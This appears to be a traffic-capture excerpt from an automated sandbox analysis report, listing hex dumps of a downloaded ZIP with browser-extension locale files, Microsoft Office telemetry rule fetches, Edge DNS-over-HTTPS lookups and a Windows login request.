2024-11-13 13:41:28 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49820	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:28 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d9801747-c01e-0049-456f-35ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134128Z-1749fc9bdbdwv5sghC1DFWwp6n00000000vg00000000d51m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:28 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49829	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3b18ef07-001e-0028-3ba8-34c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134128Z-r178fb8d765dbczshC1DFW33an000000010g000000006654 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:28 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49816	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 59c13bf8-301e-0052-7ca0-3465d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134128Z-r178fb8d7652w4wkhC1DFW0d7w00000000z000000000e27a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:28 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49828	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d4c521ce-601e-000d-6da3-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134128Z-r178fb8d7654njfdhC1DFWd048000000014g000000001yys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:28 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49830	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:28 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 1b1efdea-801e-00ac-68a8-34fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134128Z-1749fc9bdbdpg69chC1DFWhecg00000000v000000000fhb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:28 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49839	172.64.41.3	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 13:41:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 13:41:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e1f2df7bac76b39-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 13:41:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49838	172.64.41.3	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 13:41:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 13:41:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e1f2df7bcb42c99-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 13:41:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 aa 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	49840	162.159.61.3	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 13:41:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 13:41:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 13:41:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e1f2df7bcf06b55-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 13:41:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a9 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	49834	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
